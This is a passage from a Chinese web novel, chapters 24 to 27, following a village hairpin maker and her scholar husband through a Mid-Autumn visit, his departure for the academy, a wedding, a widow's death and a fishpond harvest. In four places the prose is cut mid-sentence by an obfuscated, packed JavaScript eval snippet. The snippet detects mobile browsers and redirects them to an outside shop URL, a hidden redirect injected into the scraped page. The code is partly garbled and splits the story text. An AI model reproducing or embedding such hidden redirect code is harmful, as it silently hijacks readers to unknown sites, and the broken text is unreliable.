“二郎。”，余晚桃轻喊了他一声，安抚地拍了拍他手臂，给了他一个安心的眼神。 “崔兄莫怪，这丫头就是心直口快，没甚恶意的。”，游子涧正了脸色，给人拱手赔礼。 崔玉棠敛眉回道:“游兄多虑了。” 陈小绣偷偷吐了舌头，抬头瞪了崔玉棠一眼，不料对方貌若谪仙，还朝她撇来一道冷漠的注视，吓得她赶紧垂低脑袋，面颊浮起一抹红晕。 从前怎没发觉崔家傻子生得这般好，眼神这般吓人？ 直至游子涧带着人去了前院宴席，陈小绣才敢将提起来的那口气松懈，她夸张比了一个手势，拍着胸脯同余晚桃说:“你相公太凶了！” 余晚桃有些想笑:“他这般凶，你还看脸红了？” “胡扯！”，陈小绣拔高音量，又很快心虚地小声咕哝:“还不是你相公长得太俊俏了，不过我可没其他心思啊。” “那个……其实我喊小穷酸没有其他意思的，就是很惊喜，一时没忍住便道了出来，你可别恼我。”，陈小绣有些别扭地解释。 “没有恼，你先前说有其他小姐夫人也想从我这买绒花簪子是吗？”，余晚桃当真是没生气的，她只记挂着有人要同自己买簪子一事。 毕竟赚钱才是要紧的。 “自然，可多人问了。” 陈小绣拉着余晚桃往自己院里去，要带她去看自己的首饰，一边走一边道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672973|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有云姐儿定了亲事，她说还想从你这定制一些陪嫁饰品呢。” 余晚桃惊讶不已:“刘小姐年纪不大吧，怎么这就定了婚期。” “刚及笄，他爹急着升迁就把云姐儿许给江南府同知家的二公子当续弦了。”，陈小绣哼了一声，吐槽道:“原先云姐儿死活不愿嫁去给人当续弦，结果从府城里来了画像，她瞧着那二公子长得合心意，眼见又拗不过她爹，就同意了。” “……” 总而言之，心情很复杂。 两人到了陈小绣的闺阁里，入门便是一樽香鼎，里侧对着八仙桌，往左一扇翠云彩屏隔开了外间和内室。 “我最近买了县里流行的青鸟斜鬓簪，但都没有你做给云姐儿的好看，云姐儿还有一支海棠花样式的簪子我也很喜欢。” 陈小绣牵着人手绕过屏风，絮絮叨叨地念着:“晚桃姐姐，你甚么时候再做新的簪子呀？我许多头饰都戴腻了，正想换新的呢。” 余晚桃低头看着宽大华美的梳妆台前挂满了首饰的妆匣，一旁还零零散散摆着胭脂盒、眉黛、唇脂膏、花钿等一些女儿家饰品妆面，无一不是精巧夺目的，可见陈家是如何娇养女儿。 陈小绣的交友圈里，估计购买力不会低了。 “绣姐儿可别着急，我明年春是打算在县里开一家饰品铺的，到时款式众多，且都是你从前没见过的，可任你挑选。” 陈小绣皱着脸:“怎还要等到明年春？” “我们乡里人家，还得攒些家底呢。” 余晚桃摊了摊手，话音一转:“你先前说云姐儿想从我这定些陪嫁品，我倒是可以接，只是总归涉及到嫁妆，恐用料都精贵，不若我画几份设计图纸让云姐儿挑选，选好后自备材料，我只收设计和制作的那份钱便好。” “还能这样吗？”，陈小绣心动不已，她捧着手睁圆眼睛:“我也想要一份可以吗？” 余晚桃算算自个的时间，眼下八月中旬，新一批蚕种在十月底能收获，期间定会十分忙碌，恐是空不出多少时间的，可既打算好要明年春开铺子，那这段时间无疑是打响绒花饰品名声的好机会。 只是光靠自己一双手，是忙不过来的，或许应该找一位合作伙伴。 “我一人怕忙不过来，云姐儿她婚期可赶？” 陈小绣摇头:“倒不赶着要，婚期定在十月下旬。” 余晚桃数了数日子，还有两个月时间，还算充裕:“那我可给她设计一套鸾凤和鸣八合缘，共有八件，遮面团扇一支、钗头凤一对、八合青玉簪一对、牡丹冠一座，还有金童玉女绒花摆件，嫁妆贵重，材料会用到青玉金片银丝珍珠这些，需要用多少，具体用在哪里，我会在设计图中标注出来。” 陈小绣怔住，似听了又没听，她张了张嘴，半响才回过神来，震惊道:“你说的这些甚么好东西，我都没听过！” “我会尽快把设计图画出来，你看到图纸便知晓了。”，余晚桃还想多问问其她潜在主顾的情况，便听得门外有丫头来禀告。 “小姐，前头涧少爷差了人来传话，让您带着余娘子到他院里去，崔相公在找她呢。” 25. 水煎包 陈小绣很不情愿地带着人过来，面上不服气，可不信这会功夫，前院宴席就结束了。 她气鼓鼓地往游子涧那瞪眼:“我同晚桃姐姐聊得正开心呢，你们去吃酒也就这点功夫不成？” 游子涧拿折扇敲她脑袋，颇有些无奈道:“今儿中秋，别个家里也是要回去过节的，怎么还要整日陪着你乐？” 陈小绣重重跺脚，朝他哼了一声。 “绣姐儿，八合缘的设计图纸等画好了我再拿过来，你记得同云姐儿说一下。”，余晚桃好声提醒她，接着抿唇笑了笑，说:“以后时日多着，你若不嫌弃，尽可来找我玩便是。” 陈小绣丧着脸应了，跟着出去将人送到垂花门外。 出了陈府，风一吹，余晚桃从崔玉棠身上嗅到了淡淡的酒味，侧头去看他的脸色，淡然平静，不似醉酒。 “吃了酒？” 崔玉棠抬袖闻闻自个:“去见陈教谕，吃了半盏子酒，可是味很重？” “倒还好。”，余晚桃摇头，松快道:“我们快些去买东西吧，今儿中秋街上小摊怕是会早早关门谢客。” “好。” …… 陈府后院里，陈小绣同母亲坐在一处学刺绣，有丫鬟端着玉盏进来，说涧少爷院里得了同窗送来节礼，他吃着不错，便送过来一些。 陈小绣好奇地盯着玉盏里颜色鲜亮的点心瞧，伸手拿了一块，捏在指腹里软软的，不似烤出来的酥点，她咬了小口，被清甜软糯的口感惊讶到了。 接着便是一大口，糯叽叽的，桂花香气很浓郁，里面的蜜馅还是流心的。 “娘你快尝尝，这点心不似县里糕点铺买来的，好特别的口感。” 陈夫人笑着骂她馋猫，放好针线取了一块藕粉色的糕点浅尝，眼前一亮，“我这块是玫瑰酱馅的，倒真是不错。” 她问丫鬟:“子涧那位同窗可有说这是在哪家糕点铺买的？” 丫鬟摇头:“涧少爷只说是同窗送的，别的并未与奴婢多言，不过奴婢瞧着包装点心的油纸裁割简单，许是人家里自个做的。” “莫不是晚桃姐姐？”，陈小绣吃着糯糕，愈发觉得自己猜测对了。 今日可不就是晚桃姐姐和她家的崔二郎来府上做客了嘛，没想到晚桃姐姐不止簪子做得好，这做点心的功夫也是一流，真不知那双手还有什么是做不成的。 陈夫人柔声询问:“那位晚桃姐姐，是你新认识的玩伴？” “嗯嗯。” 陈小绣语气感慨:“初见时只以为她是个乡下来的穷酸簪娘，不曾想她嫁的竟是崔家二郎，昔日爹爹就上崔家做过客，还同我们讲那崔二郎钟灵毓秀，若没傻定前途无量，眼下倒是真不傻了，还进了书院读书，爹可喜欢他了。” 陈夫人听罢露出些怀念的神色，叹了一声，抓着手帕在嘴角沾了沾:“说起崔家也是可怜，被他们那大伯给带累了。对了，你刚才说簪娘……先前那套珠链可是在她那买的？” “是呀，她手可巧了，还答应了要帮云姐儿做一套陪嫁饰品，叫……八合缘！” 陈夫人嗔了她女儿一眼，埋怨:“怎不帮你娘也定一件。” “好嘛好嘛，下次见着晚桃姐姐时我再同她说，不过她可忙了，不一定做得来这许多。” 陈小绣心里咕哝，她都还没排上号呢，她娘就来了。 …… 八月十五的月亮圆若银盘，漆黑的夜空点缀着颗颗璀璨的星星，照得整个大桑村都铺洒上一层泠泠光辉，树影清晰地倒映着，在月光下被无限拉长。 吱呀一声响，崔玉棠推门进屋，将煤油灯搁到床边桌上，落了灯罩，将桌上的笔墨纸砚都收起来，提前放进书箱里。 桌内侧整齐摆着成套的四书，封皮崭新，透着一股墨香，他摸着书封上的册名，留恋几许才装进书箱。 “明日我不能送你去书院了，定了人家送蚕种来，我得在家里等着。”，余晚桃借着微弱的火光，把积攒的家底掏出来，递给他五两碎银。 崔玉棠合上书箱，到床边坐下，与她并着肩:“这些日子我打猎还存了一些，够自己花用的，况且束脩已交，在书院里也没其他用到钱的地方，这些银子都攒起来吧，留着明年买铺子。” “真够用？” 崔玉棠点了点下巴，眉眼弯弯的。 余晚桃把银子收了回去，起身去将自己给他备的两个包袱拿出来，“县里物价高，我们在村里能带的就不用买了，这里有一些生活用品，换洗衣物。” “这一个呢是带的一些吃食，有一罐菌菇辣酱，一罐桂花蜜，和几包冰皮月饼，嗯……拿去送礼总得有一个雅名，就叫珍珠糕吧，东西有些多，我方才去了一趟村长家，麻烦秋嫂子她男人用牛车送你到书院去。” “明儿他会过来喊你的。” “嗯嗯。”，崔玉棠垂眸，神色隐在黑暗里，应声低低的，能听出些许失落感。 他的人生从崔府被查抄开始劈成了两段，前后截然不同，但又很幸运的，身边始终有相伴的家人。 如今却要分别两处，半旬才得回一次家。 余晚桃去挑了灯芯，屋里霎时暗了下来，唯有缕缕静幽月光从窗台洒进来，她借着点光亮回到床上，脱了外衣，在外侧躺下。 “阿桃，我不想住书院。”，崔玉棠躺在枕头里，慢吞吞地磨蹭过去，在余晚桃的颈窝里蹭蹭。 余晚桃痒得很，觉得脖子似有一只毛茸茸的大狗在撒娇，她不适地往外退了退，说:“等明年春在县里买了铺子，你同书院申请走读，便可每日都回家住了。” “娘子……圆房吗？”，崔玉棠凑近余晚桃的耳畔，睁着清澈漂亮的眼睛，很突兀地问了一句。 余晚桃浑身僵住，整个脑海瞬间炸开了，她怎么也没想到崔玉棠会在这时候把她一直有意回避的“圆房”一事提出来。 她紧张地咽了咽唾液，小声问:“你会吗？” “……” 崔二郎单纯如白纸的大脑卡了一下，气氛凝滞。 他退了回去，轻咳一声为自己挽尊:“睡吧，今儿也不是个好时机，总不能刚圆房就分别的。” 屋里安静下来，只有两道清浅的呼吸声在床帐间起伏，余晚桃翻身背对着崔玉棠，听着身后传来窸窣声响，她绷着肩膀，警惕地往外挪了挪。 两人躺在一张床，甚么动静都能察觉到，崔玉棠有些受伤地退开躺好，两眼看着帐顶，把被子往外推了推，自己缩到床里边去。 一夜无话。 余晚桃鸡鸣便起，锅里炖着粗粮粥，提水去后院浇了菜地，然后将外面长老的那层大白菜帮子扯下来，用篮子装着往桑园去。 天蒙蒙亮，但田垄间能看见三三两两早起去干活的人，相熟的打了招呼便各自奔开，余晚桃搓了搓有些凉的双手，来到桑园里把白菜帮子撒到地上喂鸡，便弯着腰去寻摸地上潮湿的老木头。 上面零零散散结着一些木耳。 余晚桃摘了半篮子回去，打算做一顿木耳猪肉馅的煎包。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683326|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她回到家时小细柳已经打扫完蚕舍了，见有木耳，就去将檐头挂的腊肉割了半块下来。 这腊肉还是昨儿中秋去找庆叔买的，做了一顿腊肉炖萝卜，还剩一块就给吊了起来。 “今天做顿水煎包吃。”，余晚桃从菜地里扯了一大把葱回来洗干净备用，卷了袖着手揉面。 “包子不都蒸着吃吗？”，小细柳洗了木耳出来，烧水烫软腊肉后，两把菜刀左右开弓快速剁馅。 二人在灶房里忙开。 余晚桃把揉好的面团往砧板上猛的一砸，笑着说:“咱做点不一样的。” “行，你手艺素来是好的。” 水煎包的特色就是皮薄馅多，底层煎得焦黄酥脆，内里流汁，咬一口下去葱香浓郁，腊肉碎的咸香丰盈，再加上脆脆的木耳丝，口感丰富，味美至极。 灶房里忙着时，崔玉棠也起来了，今日去书院，便穿了身应时的素青色广袖文人袍，墨发以同色发带半绑，随意披散在身后，俊逸灵秀，笑容温柔，阳光落在他身上时，仿佛蒙着一层金色的光芒。 自站一处，便叫人觉得身后草屋有墨客居于陋室的风骨气节。 他将书箱搁到屋檐下的墙角边，两步行至灶房外，见里挤不进人，便问:“今儿做包子？我也来吧。” “不行不行。”，小细柳张着胳膊将他挡在灶房外，“你这一身青衫可是要穿去书院的，沾了油星子岂不是平白惹同窗笑话，平时都是你掌勺，今儿头天去书院，你就坐院里等着吃吧。” “好。”，崔玉棠无奈地摇头轻笑，趣道:“那我今日得做一回大少爷，叫人伺候吃喝了。” 余晚桃斜了他一眼，将包得格外饱满的包子放进慢火灶膛的铁锅里，“东西都收拾好了？书院的录员帖可别忘了带。” “昨夜便一齐收进书箱里了。” “到院里去，别在这挡光。”，余晚桃让他走开，手拿着包子皮放一勺馅进去，旋转着一捏，胖嘟嘟的包子便出来了。 铁锅里薄油滚一圈，满一锅后煎至包子皮底部焦黄酥脆，就往里加一层水，盖上木锅盖焖至水干便可捡进簸箕里。 经过煎、焖之后的包子皮显得十分薄，往外浸了一些肉汁，表面皱皱的，里面饱满的肉馅明眼可见，一看就知道是真材实料的。 “水煎包来啦。”，余晚桃端着簸箕到院里的木桌放下，示意崔玉棠:“快吃，再捡几个出来，等会拿给余大哥。” 余晚桃用围兜擦擦手去屋里裁了一张油纸出来，包了四个进去，放到他手边。 “这些，拿着到书院里吃。” 锅里还有没煎好的，余晚桃匆匆说完便进了灶房，等全部的煎包都拾进了簸箕里，门外便有人来喊了。 她探身出去，见崔玉棠去给人开门，一个高壮黝黑的汉子握着条草鞭踏了进来。 “余大哥，麻烦你跑这一趟了啊。”，余晚桃笑着从灶房里走出来:“今儿家里做了包子，我让二郎带了些你们路上吃，等会再拿几个去给秋嫂子，让她也尝尝我的手艺。” 余村长的儿子是个憨厚的，他挠了挠后脑勺，嗐了一声:“俺媳妇爱吃包子你给她拿几个就成，不用给我，我早上吃了面条才过来的。” “现在吃了，等会路上得饿啊。” 从大桑村去县里还得费一阵功夫，这会也寒暄不了多久，余晚桃将人送到村口的大槐树底下，看着崔玉棠一步三回头，面露难过，几欲说话最后还是上了牛车，迎着朝阳踏向了新的一程路途。 26. 捡板栗 新一批蚕种落座蚕舍，余晚桃又开始忙碌起来，每天迎着朝露去摘桑叶，几趟几趟的来回，如此忙着，转眼便到了陈文祖娶亲的日子。 李氏生怕余晚桃躲懒不去帮忙，头天傍晚就过来喊人，穿着一身鲜亮的衣裳，站在老屋外扯着嗓子叫人，嚷得丁婶都跑出来给了她一个大白眼。 要不是看在陈家办喜事的份上，估计早怼上去了。 余晚桃不想让舅舅为难，叮嘱小细柳晚些记得给蚕除砂，就跟着李氏去了陈家。 陈家院里烛火通明，喊得上关系的亲戚都来了，汉子们去搬村里公用的宴席桌椅，婆娘们蹲在院里处理明天要用的肉菜，一帮子妇人边干活边唠了起来。 余晚桃被支使去洗菜，同她一起的还有辈分较远的一个姑子，她拖着大木盆，把要洗的菜也抱了过去，挤进处理肉食的那堆妇人里，跟着打牙磕。 余晚桃只能跟着搬板凳过去。 “李氏对自己和老根抠门得很，对文祖倒是掏心掏肺的，这朝成亲，光是肉菜就备了五道，还有那怪贵的羊肉哩。” “我过来的时候正碰见县里送货的牛车过来卸货，好家伙，满满当当都是肉！” “可不得有些排场，文祖娶的那可是秀才之女，县里的小姐，陪嫁肯定不少。” “可见李氏是有家底的，先前那样苛待桃子，心偏得很。” 话题烧到自个身上，余晚桃想佯装听不见都难，她笑了笑:“当时的恩恩怨怨有县令老爷判了是非，便是一笔勾销了，姑婶可不兴再提起这些，今天是表哥大喜的日子，别平白惹了舅母不高兴。” 李氏那人确实也是极品，但到底是抚养了原身好几年的人，虽然现在村里这些婶子嘴起来不留情，可要是她真做绝了，同李氏撕破脸，那村里人指指点点的对象铁定会换成她。 “瞧我这嘴，该打该打。”，提起这事的姑子作势拍了拍自个嘴巴，嚯嚯拔着鸡毛，又把话题转到村里其他人的八卦上。 “桃子，二郎在书院没回家？”，陈老根从屋里走出来，抱着一捆粗制红布。 余晚桃甩去手上的水珠，跑过去帮他把红布展开，“他刚去书院没几日，不好同夫子请假的。” “还想找他帮忙记录礼钱册呢。”，陈老根摇头，有些惋惜。 余晚桃从窗台边拿了一把剪刀出来:“村长来写岂不是更好，能镇得住场子。” “这不是怕村长忙不过来嘛。” 红布是粗棉质的，裁剪之后约半丈宽，一丈长，余晚桃帮着陈老根把红布裁完，拿进正屋，见李氏在同几个婶子裁剪窗花，她放下红布便出去继续洗菜了。 陈家院里热热闹闹备菜到凌晨才慢慢散了各自回家去。 余晚桃回到家沾床便睡，翌日天没亮丁婶就过来拍门了。 丁婶带着自家的围裙和菜刀，站在竹篱笆外喊:“桃子，得过去你舅舅家帮忙了。” “来啦。” 余晚桃匆匆洗漱完，去灶房拿上自家围裙，打着哈欠出门，一路上往陈家去的队伍渐渐扩大，说说笑笑的。 一个村子的凝聚力，在这时候体现得淋漓尽致，平日为了点鸡毛蒜皮的小事能吵翻天去，可一旦谁家办事又能很自发地上门去帮忙。 就连丁婶，都一边骂李氏，一边脚步不停往陈家去。 来得早帮忙的简单煮了两大锅猪骨粗粮粥，给没来得及吃早食的帮工们吃，吃完后各自散开去忙，灶房切菜剁肉的声音像一道紧凑的乐曲，掺杂着汉子妇人们热火朝天的谈论声，此起彼伏的。 太阳升起后，陆续有客携礼登门，村长坐在门口左手边临时搭起的棚子里，认真登记着客人姓名和礼金数。 余晚桃端着茶托，给客人分茶。 到了晌午，陈文祖和迎亲队出发，院里第一顿宴席开吃，大圆桌全部摆开之后，能有二十多桌，客人上桌后陆续有灶人上菜。 余晚桃蹭到了一个角落里的位置，准备悄悄搂席，谁知李氏忙得团团转，眼睛还一直盯着她，见她坐上桌了就虎虎生风地走过来，把她扯走。 “我都忙死了你还上桌吃！”李氏脸上因为忙碌闷出了一脑袋汗，她伸指恶狠狠地戳余晚桃脑门:“你个小蹄子，还不快去灶房里帮忙端菜！” “我饿了，我要去吃席。”，余晚桃有恃无恐:“今儿这么多亲戚好友都在，舅母你最好憋着脾气，否则丢人的可是你。” “你！” “哎呀舅母，那边几个姑嫂找你呢，再不过去她们可要急了。”，余晚桃对气急败坏的李氏露出一抹大大的笑容，麻溜坐回去，专心致志地跟桌上婶子抢菜吃。 吃着吃着，就听到身后一阵争吵声，她放下焖得软烂的羊肉，扭头去凑热闹。 李寡妇吃得满嘴流油，正一个劲地往自己带来的大碗里装肉，引起同桌的客人对此不满，两边吵得愈发激烈。 “啧，这李寡妇也真是丢人，席没吃完呢就开始装菜。” “李癞子死了之后李氏就不管她了，后面又把小细柳赶了出去，自己一个人寡居，没米没粮的天天饿得去挖野菜，这时候不抢着肉吃才怪呢，万一哪天死家里了都没人知道。” 听着周围人的议论，余晚桃慢慢放下了筷子，从李寡妇身上收回目光，心里不知为何有些沉重。 这种沉重并非来自于同情，而是一种她也说不上来的情绪。 昏时日暮，迎亲队伍一路吹吹打打地回来了。 后面新娘子的陪嫁抬了一箱又一箱进来，看得村里人眼红，这得是甚家世，才能给出十几箱的陪嫁。 余晚桃端了一碗红糖鸡蛋进新房里，搁在桌上后轻声对新娘子说:“我拿了些吃的进来，表嫂先垫垫肚子吧。” “是桃子？”，新娘子悄悄掀开一点红盖头，露出绯红似晚霞的半张侧脸。 “是我，仪儿表嫂真好看。” 余晚桃也是从她舅舅口中得知，李文祖要娶的姑娘叫苏仪儿，其父为老生秀才，在县里开一间蒙学私塾，同书院里好几位教习熟识，是为昔年同窗。 其母娘家则是经商的，当初陪嫁了好几间铺子，是以这次嫁女儿，才拿得出这么丰厚的陪嫁来。 余晚桃在屋里坐着陪她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699539|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊了一会天，听着外边动静歇了，宴席结束，她才起身出了屋，踏着月色归家。 …… 余晚桃伏在桌案上画八合缘的设计图稿。 八合缘是她以前做过相对而言比较有难度的一套陪嫁饰品，制作工艺要更复杂些。 前两日软趴趴的猪毛毫大大拖慢了她的动作，直到后边去村里养鸭的人家拔了几根硬鸭毛回来，才稍加快了些速度。 “桃子——” 小细柳在屋外拍门喊人。 余晚桃往门口看去，放下鸭毛笔去开门:“怎么了？” 门开了，小细柳神色惊慌，抖着声音说:“我……我前婆母过身了！” “过身？”，余晚桃楞了一下，反应过来何为过身后，她整个人沉默了。 小细柳红着眼眶说:“村长家他儿刚才来通知的，死了有两三日，今儿早上隔壁闻着臭味了才发现，五爷爷说她是吃了长蛆的馊肉，闹了肚，活生生疼死了。” 不久前婚宴上的闲言成了真。 李寡妇当真是死家里了都没人知道。 吃完喜宴不到半月，就又有白席吃，余晚桃心情更沉重了。 余晚桃对小细柳道:“你别害怕，你早已同她家没有任何关系了，这次丧仪也不必去，只留在家里打理蚕舍，别管外头是何动静。” 小细柳抬袖擦去眼泪，心里总算定了些。 白席不像喜宴热闹，丧事期间家家户户都不会让小孩出来玩，就更冷清了。 李寡妇无子，陈文祖又新婚，这办丧摔盆的事只能陈老根去操持。 人没了两三天才叫人发现，尸体都臭了，便不能按照规矩停灵三天，第二天就叫人抬坟山去埋了。 因为办丧村里气氛低迷了好几天，小细柳每次出门去摘桑叶都会被一些妇人说小话，明里暗里讽她在婆母出丧当天没去送灵，是个冷血的。 “要我说，那些人就是嘴碎的。”，林小秋啐了一声，没好气道:“她亲女儿都不管那老婆子了，凭啥让一个被赶出家门的前儿媳去送葬。” “是这个理。”，余晚桃从地上捡起圆滚滚的板栗往竹筐里放。 这会山里的板栗熟透了，掉在地上密密麻麻的没人捡，余晚桃去山脚竹林那砍竹子的时候就发现这片板栗林，便约了林小秋一起来捡。 两人各捡了半竹筐，一路聊着回家，巧了碰上从河里洗衣服回来的新妇苏仪儿。 她穿着身靛青色的贵料子，挽起的发间插着根碧绿色的玉簪，埋头匆匆从村道行过，像是急着甩开身后一道从河里洗衣回来的婶子们。 “表嫂。”，余晚桃喊了她一声。 听闻声音，苏仪儿倏地抬头，如蒙大赦一般加快步子往她那处走近:“桃子，这是去做什么了？” “山里捡板栗了，表嫂要不要来一些？” 苏仪儿摇头，肩膀低垂着，脸上没了新婚那日开颜展眉的神采。 余晚桃见她端着洗衣盆，里面是一家子的衣服，想来是被李氏敲打过了，有那般性子的婆母在，若自己立不起来，以后日子且有的熬。 27. 爆炒黄鳝段 给板栗剥毛刺壳是个力气活。 余晚桃在院里砸了老半天才将全部的板栗剥出来，去除毛刺壳后还有一层褐色的硬壳，她砸了一颗出来，放嘴里品尝。 “挺脆甜的。” 小细柳揉揉酸痛的胳膊:“这板栗是挺好吃，就是弄起来费劲，而且晒干了根本砸不开，不晒干又没法子保存。” “没事，我拿来做椒盐板栗，先煮后炒，易保存，还有嚼头。”，余晚桃把簸箕里的板栗摊开，放到太阳底下晒去水分。 小细柳站起来，仰头看看天:“这几日太阳还行，菜地里那片茄子快长老了，我去摘回来晒干吧，多储存些干菜，留着过冬。” “你去吧，我去切桑叶。” 两人各自忙着，到傍晚时分，余晚桃给蚕喂了一顿，换了砂，这才出了蚕舍，把院里的板栗收回来，留着明天煮熟之后再炒。 小细柳还切了俩大筐的茄条挂在竹篱笆上晒，眼瞧着太阳快落下了她人还没从桑园里回来，余晚桃赶紧拿了筐出去把茄条收回来。 晒了一下午，茄条蔫蔫的，还没干透，预估着还要晒上几天。 余晚桃放好茄条，开始做晚饭，淘了米下锅蒸，又去抓了两把苦瓜干出来，准备做一个苦瓜蒸蛋汤，最后再炒一碟芥菜，就够两人吃的了。 芥菜胜在清甜脆嫩，加点辣椒蒜片，大火翻煸至断生即可出锅，苦瓜蒸蛋汤微苦回甘，清热祛火。 余晚桃把菜端出去，刚解围裙小细柳就回来了。 她走到水缸边舀了水来洗手，说:“怎么回来晚了？” “在村口那听了一耳朵村里人闲聊，说明日要开公家塘了，报名去捞鱼的人家能多分几条鱼。”，小细柳把锄头搁到檐角去。 她洗了手，去端饭上桌，继续说道:“可惜了捞鱼这活只能汉子去报名，二郎又不在家。” 余晚桃给自己舀了饭，坐下:“我们明天可以等收完塘之后下去寻摸一些黄鳝河虾田螺啥的。” “那得去鱼塘边守着，不然抢不过村里人。” “明天早些去摘桑叶，咱喂了蚕就去。” “行。” 翌日，露水雾重鸡未鸣时余晚桃就起来了，同小细柳来来回回跑了好几趟，鞋底都踩冒烟了才摘够蚕吃的量。 一龄蚕又是个娇贵的，得把桑叶切碎了喂。 两人忙得满头大汗，喂完蚕又去将茄条挂出来晒，这才得了空，吃过早食拎着木桶往公家塘去。 她们到时公家塘已经热热闹闹的挤满人了，碧绿的鱼塘水都放完了，浅滩和淤泥上蹦着不少鱼，一网子下去沉甸甸的。 “桃子，你们来了？”，丁婶看了有一阵了，她指着鱼塘边那几个立起来的大深桶，同余晚桃乐道:“今年这批鱼是真肥啊，好几个半丈宽的大深桶都快要装不下了。” 余晚桃也乐:“我看那边网里拍着鱼尾巴挣扎的大草鱼得有十几斤了吧。” 丁婶道:“以往年惯例是村里按户分鱼，一大两小，其余的留来卖，你要是有余钱可得多买些，做几十条腊鱼，能吃上一整个冬呢。公家鱼卖自家人，也就四五文一斤，收点来年的鱼苗钱。” 余晚桃笑着应声。 上次一桶草鱼，做的熏鱼干确实好吃，特别是崔二郎，可馋这口，隔三差五的就煎两条吃，到这会是没剩多少了。 临近晌午，日头势猛，鱼塘里的汉子最后用大网捞了一圈，确认没多少大鱼之后就收了塘。 他们一上岸，鱼塘边守着的妇人们如饺子下锅一般，争先恐后地扎进了鱼塘里。 余晚桃也在其中，她不像其他人逮着小鱼抓，小鱼刺多，她本就不咋喜欢，这次下塘，主要是捞河虾。 河虾个头小，密密麻麻地堆积在小水坑里，简直一捞一个准，很快就捞了满满一桶，她提着木桶放到岸边，开始捞第二桶。 丁婶见她只捞小河虾，在厚厚的淤泥里朝她挪过去，顶着满是泥又被晒红的脸，眉头紧锁:“这小河虾都没肉，你怎么尽逮着这玩意捞，你看看这塘里到处都是鲫鱼黄鳝和甲鱼，炖着吃可是大补，再不抓等会可就没了。” “甲鱼我实在吃不来。”，余晚桃勉强勾了勾嘴角，肩膀狠狠抖了一下。 甲鱼这种河鲜，她瞅着都不敢下嘴。 黄鳝和鲫鱼倒是可以捞一些。 余晚桃往鱼塘边积着水草的地方走过去，捡了一些大田螺和大河蚌。 村里人基本都不吃河蚌，味腥肉少难处理，导致鱼塘里的河蚌泛滥，年复一年的生长着，有些已经足足有两个巴掌大了。 眼瞅着鱼塘里的好货被村里婶子们如蝗虫过境般扫荡一空，余晚桃默默加快了速度，直至有人敲铜锣让所有人集中过去排队领鱼，才不舍地上了岸。 一堆人脏得泥人似的凑在一起，热火朝天地聊着，余晚桃迅速过去排队，站了整一炷香时间终于领到了一条十多斤重的草鱼，和两条五斤左右的花鲢。 等村里人领完免费分的鱼，剩下的两大深桶就是要花钱买的，可以自己去挑，作价五文一斤，边上村长和族老亲自收账记账。 余晚桃让小细柳先将几个木桶挑回家去，她跟着两个负责卖鱼的汉子过去挑鱼。 花钱买的鱼就是比免费分的要大，她指向哪条鱼，边上的汉子就帮忙抓出来，后边一共是买了三十条鱼，基本上每条都超过了十五斤，称出来有四百斤左右。 按照每斤五文算，花了大概二两银子。 这么多鱼都得赶着处理好。 托村里人帮忙把鱼扛回家后，余晚桃喝了碗粥，就开始杀鱼刨鳞取内脏。 小细柳负责清洗、抹盐，压进缸里腌制。 “这些鱼内脏太多了，喂鸡也吃不多嫩多。”，小细柳坐在矮凳上，边给鱼腹抹盐边说道。 余晚桃也有些头疼:“鱼泡可以取出来熏干保存，其他的……欸我记得村尾有个野生塘，可以把这些鱼脏扔进去喂鱼。” 小细柳有些憷:“那地可没啥人去，以前淹死过小孩的。” “我们又不下水去玩，倒了鱼脏就走，没事的。” “那成，我们一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707211|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去那边倒。” 余晚桃点了点脑袋，须臾，杀鱼的动作猛的顿住，她有些哭笑不得:“光顾着杀鱼，差点忘了我椒盐板栗还没做呢。” 小细柳:“忙不过来了，明天再炒吧，那边还有好几桶河鲜没处理呢。” 余晚桃看着院里一堆等着处理的鱼，还有边上好几桶河鲜，叹了一声，拿刀背狠狠敲向鱼头。 确实忙不过来了。 